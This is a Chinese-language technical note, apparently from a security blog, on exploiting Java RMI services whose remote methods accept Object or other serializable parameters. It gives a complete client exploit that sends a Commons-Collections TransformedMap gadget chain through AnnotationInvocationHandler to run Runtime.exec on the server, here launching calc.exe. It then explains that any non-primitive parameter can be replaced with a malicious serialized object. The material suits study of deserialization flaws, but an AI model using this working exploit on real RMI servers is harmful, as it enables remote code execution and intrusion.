Object参数Attack

Server提供的远程对象方法中存在一个Object参数. 如:

  1. public class userImpl extends UnicastRemoteObject implements userInterface {
  2. protected userImpl() throws RemoteException {
  3. super();
  4. System.out.println("userImpl Constructor called!");
  5. }
  6. @Override
  7. public String hello(Object obj) throws RemoteException {
  8. return "this is user hello";
  9. }
  10. }

这样在调用的时候直接传一个反序列化的利用链即可.

  1. public class client {
  2. public static void main(String[] args) {
  3. try {
  4. Registry registry = LocateRegistry.getRegistry(1099);
  5. userInterface user = (userInterface) registry.lookup("user");
  6. System.out.println(user.hello(getpayload()));
  7. } catch (Exception e) {
  8. e.printStackTrace();
  9. }
  10. }
  11. public static Object getpayload() throws Exception{
  12. Transformer[] transformers = new Transformer[]{
  13. new ConstantTransformer(Runtime.class),
  14. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
  15. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
  16. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
  17. };
  18. Transformer transformerChain = new ChainedTransformer(transformers);
  19. Map map = new HashMap();
  20. map.put("value", "sijidou");
  21. Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
  22. Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  23. Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
  24. ctor.setAccessible(true);
  25. Object instance = ctor.newInstance(Retention.class, transformedMap);
  26. return instance;
  27. }
  28. }

直接使用Object类型参数的非常少, 怎么办?

  1. 肯定存在参数为某个对象的情况的, 且这个对象类一定实现了序列化接口
  2. 从这个类开始挖掘可以利用的反序列化链(已知RMI接口)
  3. 非Object类型参数也可以打,参考 https://xz.aliyun.com/t/7930#toc-7

    绕过Object类型参数

    参考 https://xz.aliyun.com/t/7930#toc-7

大致原理: 非基本类型参数数据传递也是通过序列化来实现, Client是完全可控的, 因此对任何非基本类型的参数, 我们都可以把它替换为恶意类对象.

包括哪些基本类型? 下面的这些,if条件里面的.
image.png
非基本数据类型?

  1. String
  2. Integer
  3. int[]

攻击实现手段?
image.png
实际利用?
扩展了已知接口攻击的思路. 完全未知的接口仍然无法攻击.